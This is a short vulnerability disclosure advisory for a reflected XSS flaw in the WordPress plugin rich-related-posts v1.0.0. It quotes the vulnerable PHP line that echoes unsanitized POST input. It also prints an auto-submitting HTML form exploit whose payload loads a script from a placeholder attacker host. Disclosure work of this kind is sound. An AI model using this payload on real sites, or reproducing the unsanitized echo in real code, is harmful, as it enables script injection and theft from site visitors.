Advisory #: 1063
Title: Reflected XSS in wordpress plugin rich-related-posts v1.0.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/rich-related-posts
Downloads: 3354
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: rich-related-posts
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./rich-related-posts/find-image.php: 48: Search Posts: <input id="searchbox" type="text" name="s" value="<?php echo $_POST["s"]; ?>" /><input id="searchbutton" name="search" type="submit" value="Search" /> The variable s appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./rich-related-posts/find-image.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/rich-related-posts/find-image.php method=post> <input type=hidden name=s value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>